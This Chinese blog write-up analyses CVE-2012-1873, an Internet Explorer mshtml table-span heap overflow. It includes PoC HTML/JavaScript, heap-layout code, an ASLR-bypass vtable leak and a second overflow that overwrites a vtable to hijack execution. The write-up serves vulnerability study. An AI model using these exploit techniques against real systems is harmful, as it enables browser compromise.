漏洞分析丨CVE-2012-1873

news2024/10/5 14:23:28

一、漏洞简述

cve-2012-1873同样是一个著名的堆溢出漏洞,他是IE6-8中MSHTL.dll中的CTableLayout::CalculateMinMax函数里,程序在执行时会以HTML代码中的元素span属性作为循环控制次数向堆中写入数据。第一次会优先根据span申请堆空间,当我们增大span的值后,却不会改变堆空间大小,这样就可以造成堆溢出。

二、漏洞环境

系统版本

​Win7x86sp1

三、漏洞分析

首先对IE打开页堆:

 

然后我们用下面这段POC代码:

<html>
 <body>
 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp col>
 table>
 <script>
 
 function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
 }
 
 setTimeout("over_trigger();",1);
 
 script>
 body>
 html>

这里先对span属性赋值为1,然后又通过函数trigger修改为1000,保存后把后缀名改成html。用IE打开,卡在这里,接下来用WIndbg附加:

 

 


g起来,让他走

 

然后回到IE中,选择允许运行

 

然后因为页堆保护,断在了溢出位置,mshtml!CTableColCalc::AdjustForCol+0x15:

 

这里可以看到esi的地址导致溢出,我们查看堆栈,可以看到在mshtml!CTableLayout::CalculateMinMax+0x558的地址调用了之前那个函数:

 

所以我们需要在mshtml!CTableLayout::CalculateMinMax函数下断点,看看溢出原因是什么,所以重新运行IE,用windbg附加IE,重复之前的操作,在附加之后对函数mshtml!CTableLayout::CalculateMinMax下断点,然后单步调试查找溢出原因:

 

随后go起来,然后允许操作,可以看到,已经断在了我们断点函数这里:

 

在这里我们看一下CTableLayout::CalculateMinMax的函数声明:

void __thiscall CTableLayout::CalculateMinMax(CTableLayout*theTableLayoutobj, LPVOID IpUnknownstackBuffer);

在这里说明一下,CTableLayout * theTableLayoutobj 这个变量是一个指针,他其实是指向table 元素在内存中的对象,在后续跟踪中就会发现,这里可以先入为主利于理解。
接下来我们单步走:

 

在这里看箭头位置,可以看到ebp+8是第一个参数,赋予eax,也就是 theTableLayoutobj 。通过符号,也可以看出确实是引用CTableLayout对象,也就是标签在内存中的对象。再看:

 

这里ebx+54h的位置是span属性的值,为1。
接下来我们需要注意CalculateMinMax+170h位置这条指令:

 

这里取地址ebx+90h给了esi,而此时ebx的值大家可以注意,就是我们table 元素在内存中的对象的地址。接下来就是调用mshtml!CImplAry::EnsureSizeWorker这个函数:

 

F8进入这个函数,我们看这里,可以看到这里又把ebx+90h的地址给了edi:

 

继续F8走,看箭头位置,又把edi+0Ch给了esi,所以这里堆的地址是ebx+9c:

 

确定了堆的地址,我们继续确定堆的大小,直接看IDA中伪代码:

 

我们跟进去EnsureSizeWorker:

 

可以看到这里做了判断,最低是4* 0x1C个空间,span的值是1,所以这里应该是0x70大小的堆栈空间。我们回到Windbg中查看一下:

 

可以看到堆大小确实为0x70。堆地址为:05f08f90。
接下来我们对函数mshtml!CTableCol::GetAAspan和函数 mshtml!CImplAry::EnsureSizeWorker下断点,go起来,断在了GetAAspan上:

 

这里禁用1号断点,因为会一直进去,手动跟一次就会发现第二次跳过了申请堆空间这个操作,误以为之前申请的已经足够。再次走到GetAAspan函数,这次是为了获取循环写入堆次数的一次调用,我们先不讨论。再次运行到GetAAspan,gu执行完这个函数,可以看到eax的值是3e8,也就是1000,下面有个cmp比较,这里说明span最大不能超过1000:

 

接下来对堆地址下断点,然后go起来:

 

发现地址写入的值是414114,在计算器中看一下:

 

他的值就是我们修改过width* 100的大小。(可以自行试验,这里取巧)继续单步跟进,发现Inc和cmp:

 

可以发现这里拷贝次数就是span的值,然后通过inc和cmp比较,拷贝,ebp-14是每次加一,和span的值ebp+10h比较,随后ebp-24h的地方会加1C。随后我们继续走,就可以发现异常原因了,只有4个1C,但是我们修改span后,循环1000次写入1C个大小,导致异常。
总而言之,就是修改完span后,没有再次申请堆内存,导致在写入样式信息的时候循环写入1000次,在第五次的时候就会发生溢出,因为第一次申请内存是4个1C大小。

四、漏洞利用(有失败风险,很低,如果堆栈布局没有符合心意,可以重新打开一下)

首先通过x32dbg插件checksec查看漏洞保护,所以介次需要绕过DEP保护和ASLR:

 

首先我们需要获取mshtml.dll基址,来绕过ASLR保护。至于怎么获取,我们这里通过获取CButtonLayout虚表指针和msgtml.dll的固定偏移来获取,首先看下面这段代码,是构造堆布局,让程序在为申请堆空间的时候,落入我们布置的区域内,当然记得关闭页堆:

<html> 
<body> 
<div id="test">div> 
<table style="table-layout:fixed"><col id="132" width="41" span="9"> col>table> 
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<script language='javascript'>
var leak_index=-1;
var dap= "EEEE"; 
while ( dap.length < 480 ) dap += dap; 
var padding= "AAAA"; 
while ( padding.length < 480) padding += padding; 
var filler = "BBBB"; 
while ( filler.length < 480) filler += filler;
var arr=new Array();
var rra=new Array();
var div_container=document.getElementById("test");
div_container.style.cssText="display:none";
for(var i=0;i<500;i+=2){
rra[i]=dap.substring(0,(0x100-6)/2);
arr[i]=padding.substring(0,(0x100-6)/2);
arr[i+1]=filler.substring(0,(0x100-6)/2);
var obj=document.createElement("button");
div_container.appendChild(obj);
}
for(var i=200;i<500;i+=2){
rra[i]=null;
  CollectGarbage();
}
script> 
body> 
html>

​4.1、构造堆布局,查看各大块大小

首先这里的字符串在IE中都是Basic String字符串,包含长度前缀4字节和2字节的NULL终止符的Unicode字符串,随后这里是构造俩个数组,申请以0x100(0x100-6是纯字符串,除以二是Unicode编码,最后会自动加上6字节的长度前缀和NULL终止符)为大小的堆块,分别为EEE…,AAA…,BBB…,CButtonLayout(大小为0x108,后续我们会在堆栈中查看);然后循环250次,构造的堆空间如下

 

然后会在代码最后一个for循环中,从堆块链中间开始,释放EEEEE…所在的堆块。至于Span为啥是9,因为我们在分析的时候会知道,分配的堆大小是span值* 0x1C,这里9* 0x1c=FC,是CButtonLayout的大小(待会会在Windbg中查看)。
接下来就是使用前面这段代码,改后缀为html,双击打开,使用windbg附加,先对mshtml!CTableLayout::CalculateMinMax下断点,然后go起来,直到断点断在mshtml!CTableLayout::CalculateMinMax函数上面:

 

然后对申请空间 mshtml!CImplAry::EnsureSizeWorker函数下断点,go起来,卡到这个断点,再gu执行到返回:

 

之前我们分析的时候就知道这里ebx+0x9c是分配的堆栈地址,我们查看一下:

 

可以看到,申请的堆块里面的内容就是EEE…,也就是我们的堆布局完成了,接下来看看CButtonLayout大小:

 

可以看到CButtonLayout的Size=0x21* 8=0x108字节。UserSize=0xFC,但因为内存对齐关系,实际大小为0x108字节。接下来查找大小100h的块,使用!heap -flt s 100,再随便找个地址使用!heap -p -a 0x056bea68查看:

 

​可以看到堆块是21h* 8 =108h,用户大小是100h。

随后我们看一下CButtonLayout虚函数地址(x mshtml!CButtonLayout: ),可以看到虚函数地址在BBBB…堆块之后:

 

4.2、第一次溢出

这次我们需要加上修改span的代码,如下:

var leak_col = document.getElementById("132");
    leak_col.width = "41";
    leak_col.span = "19";

简单计算一下,19* 1ch=214h。214h-108h* 2=4字节(108h是100堆大小+8h字节头信息),所以这里会覆盖BBB堆块前四个字节;接下来使用新的POC验证一下,还是先下mshtml!CTableLayout::CalculateMinMax断点,断在这里在下mshtml!CTableLayout::CalculateMinMax,随后gu走出申请空间函数,这里ebx+9Ch就是申请的堆块地址:

 

我们从堆块后面BBB堆块那里截图看一下:

 

接下来取消所有断点,直接走,让他溢出:

 

可以看到成功溢出到,覆盖到BBB堆块前四个字节。修改完BBB块的长度,在读取这个串的时候就可以访问到后面的虚函数地址。

4.3、获取虚函数地址得到MSHTML.DLL基址

再次找到虚函数地址0x64fc84f8:

 

接下来找mshtml基址(lmm mshtml)0x64e70000:

 

俩者相差0x64fc84f8-0x64e70000=0x1584F8(系统版本不同偏移不同)。
接下来就是获取mshtml基址:

function over_trigger(){
   
    var leak_addr=-1;
    for(var i=0;i<500;i++){
    if(arr[i].length>(0x100-6)/2){
    leak_index=i;
    var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
    leak_addr=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
    alert("CButtonLayout:0x"+leak_addr.toString(16));
    var mshtmlbase=leak_addr-0x1584F8;
    alert("mshtml:0x"+mshtmlbase.toString(16));
    break;
    }
    }  
    }
    setTimeout(function(){over_trigger()}, 450); 

这里因为修改了BBB堆的字符长度,所以这里判断这个串是不是很长,确定是我们溢出的BBB串,按照字节读取到虚函数地址,便于查看我们打印出来验证,根据相同步骤获取到虚函数地址那里:

 

然后看看mshtml基址:

 

随后取消所有断点,go起来:

 

 


获取成功。

4.4、第二次溢出覆盖虚函数地址

是这段代码:

function trigger_overflow() { 
    var evil_col = document.getElementById("132");
    evil_col.width = "1178993";
    evil_col.span = "44";
}
    setTimeout(function(){trigger_overflow()}, 1000); 

为了严谨,我们还是测试一下,前面步骤一样,直接看效果图:

 

 

可以看到虚函数地址被覆盖为0x07070024(1178993* 100 = 0x07070024),
我们对“ba r4 07070048“下断点 继续go的话:

 

可以看到eax=我们构造的地址,而当前函数流程EIP=07070024+24h的地方:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/517205.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【企业信息化】第3集 免费开源ERP: Odoo 16 POS终端管理系统

文章目录 前言一、概览二、硬件三、使用功能 前言 世界排名第一的免费开源ERP: Odoo 16 POS终端管理系统。几分钟内完成设置&#xff0c;几秒内完成销售。 一、概览 Odoo POS 基于智能界面&#xff0c;任何零售公司均可毫不费力地使用 因为其极具灵活性&#xff0c;您可配置 …

2023最全 Java 高频面试合集,掌握这些你也能进大厂!

进大厂是大部分程序员的梦想&#xff0c;而进大厂的门槛也是比较高的&#xff0c;所以这里整理了一份阿里、美团、滴滴、头条等大厂面试大全&#xff0c;对于 Java 后端的朋友来说应该是最全面最完整的面试备战仓库&#xff0c;为了更好地整理每个模块&#xff0c;我也参考了很…

版本控制器git

目录 一、版本控制系统 二、工作流程和使用命令 &#xff08;1&#xff09;工作流程 &#xff08;2&#xff09;一次完整流程的相关命令 1.初始化1个空的本地仓库 2.克隆方式1个远程仓库到本地仓库 3.新文件添加到暂存区 4.查看仓库状态&#xff0c;显示有变更的文件 5…

Java实现杨辉三角

1 问题 实现杨辉三角。 2 方法 public class textttt01 { public static void main(String[] args) { //定义了一个长度为10&#xff0c;高度为10的二维数组&#xff0c;数组中的值都为0&#xff1b; int[][] arrnew int[10][10]; for (int i0;i<ar…

开源轻量级 IM 框架 MobileIMSDK 的Uniapp客户端库已发布

一、基本介绍 MobileIMSDK-Uniapp端是一套基于Uniapp跨端框架的即时通讯库&#xff1a; 1&#xff09;超轻量级、无任何第3方库依赖&#xff08;开箱即用&#xff09;&#xff1b;2&#xff09;纯JS编写、ES6语法、高度提炼&#xff0c;简单易用&#xff1b;3&#xff09;基于…

html实现经典捕鱼达人小游戏

文章目录 1.设计来源1.1 游戏界面 2.效果和源码2.1 动态效果2.2 源代码 源码下载 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/details/130638634 html实现经典捕鱼达人小游戏源码 &#xff0c;99.99%的还原实物&#xff0c;起…

【办公】解决京瓷打印机总是出现烦人的“在手送纸盘中装纸 彩色纸”的问题

问题 打印机是日常办公的常见工具&#xff0c;京瓷是著名的打印机品牌&#xff0c;而且是很多事业单位首选的打印机品牌。然而在日常使用中京瓷打印机总是会出现烦人的“在手送纸盘中装纸 彩色纸”的问题&#xff0c;如下图所示&#xff1a; 一旦出现该问题&#xff0c;就需要…

给XZZ准备的小攻略(私人向)

定时发送邮件功能&#xff1a; 定时发送邮件的功能位于 homework 的 views.py 中 使用的模块是 apscheduler &#xff08;我读作ap司改就&#xff09; 准备的部分&#xff1a;&#xff08;了解即可&#xff09; 安装好 django-apscheduler 后&#xff0c;在 setting.py 中添…

python 调用golang 注意事项

1.调用编译后的动态库文件&#xff0c;报头文件错误 原因&#xff1a; 不同平台下编译的add.so 不能通用&#xff0c;Windows下可以运行的so文件&#xff0c;linux下就不能运行&#xff0c;需要重新编译linux的so文件&#xff1b; 该报错可能就是跨平台使用动态库文件了&…

yolov5爬坑小作文

第一坑 做完训练集&#xff0c;配置要yaml文件后&#xff0c;笔者启动了训练命令 python train.py --data 我的yaml位置 --batch-size 我的每次进行一次反向传播之前需要前向计算的图片张数 --device 我的GPU编号 之后报错 OSError: [WinError 1455] 页面文件太小,无法完成…

检测数据类型

//typeof() 对于基本数据类型没问题&#xff0c;遇到引用数据类型不管用 console.log(typeof 666) //number console.log(typeof [1,2,3]) //object //instanceof() 只能判断引用数据类型&#xff0c;不能判断基本数据类型 console.log( [] instanceof Array) //true …

Acunetix 15.6 (Linux, Windows) - Web 应用程序安全测试

Acunetix 15.6 (Linux, Windows) - Web 应用程序安全测试 请访问原文链接&#xff1a;https://sysin.org/blog/acunetix-15/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.org Acunetix 漏洞扫描器&#xff0c;管理您的网络安全。…

电脑待机怎么设置?分享4个宝藏方法!

案例&#xff1a;电脑待机怎么设置 【有时候我使用电脑时可能因为各种事而被打断&#xff0c;但是不是很想让电脑关机&#xff0c;请问大家电脑待机时间应该怎么设置呀&#xff1f;】 有时候我们在使用电脑时可能需要做别的一些事&#xff0c;这时我们的电脑会进入待机状态。…

裸奔时代,隐私何处寻?

随着互联网的普及&#xff0c;人工智能时代的大幕初启&#xff0c;数据作为人工智能的重要支撑&#xff0c;数据之争成为“兵家必争之地”&#xff0c;随之而来的就是&#xff0c;各种花式手段“收割”个人信息&#xff0c;用户隐私暴露程度越来越高&#xff0c;隐私保护早已成…

空间权重矩阵与相关性检验(Stata)

空间权重矩阵与相关性检验(Stata) 文章目录 空间权重矩阵与相关性检验(Stata)[toc]1 空间相关性检验1.1 全局空间相关性检验1.2 局部空间自相关检验1.3 散点图 2 权重矩阵2.1 截断距离权重矩阵2.2 反距离权重矩阵 1 空间相关性检验 cd "D:\Allcode\Stata\Spatial-Econome…

如何在知行之桥EDI系统中修改ICN?

EDI电子数据交换中的ICN是什么&#xff1f; 在EDI术语中&#xff0c;ICN# 的全称为Interchange Control Number&#xff0c;是文件的发送方分配的唯一标识符&#xff0c;可以识别每一个文件。 我们常见的符合X12和EDIFACT报文标准的文件中&#xff0c;ICN#分别指的是ISA13和U…

泼辣修图app下载2024最新版修图滤镜

泼辣修图专业版是一款强大的专业修图软件&#xff0c;拥有上百款调色工具还有丰富的图层素材&#xff0c; 更有智能的人像修饰面板&#xff0c;具备物体识别的智能蒙板&#xff0c;高效的滤镜管理系统和强大的文字工具&#xff0c;支持批量处理。一切围绕摄影&#xff0c;无论是…

如何在 Windows 10 上安装 WSL

第 1 步&#xff0c;启用 WSL 不管您想要使用哪个版本的 WSL&#xff0c;都首先需要启用它。为此&#xff0c;请以管理员身份打开 PowerShell 工具并运行以下命令。小心不要在命令中输入错误或遗漏任何字符&#xff1a; dism.exe /online /enable-feature /featurename:Micro…

DolphinDB 流数据状态函数插件介绍

1. 引言 量化金融的研究和实盘中&#xff0c;越来越多的机构需要根据高频的行情数据&#xff08;L1/L2以及逐笔委托数据&#xff09;来计算量价因子&#xff0c;每只股票的每一条新数据的注入都会更新该只股票的所有因子值。这些因子通常是有状态的&#xff1a;不仅与当前的多…

精选博客系列|VMware发布下一代Workspace ONE SaaS平台,性能提升了10倍!

我们很高兴地宣布下一代 Workspace ONE SaaS 平台面世了&#xff01;日前公布的 Workspace ONE 架构的根本变化已经包含了我们最近的一些进展&#xff0c;例如自由式编排器&#xff0c;而且将成为未来 VMware 终端用户计算&#xff08;EUC&#xff09;创新的基石。 现代化的架…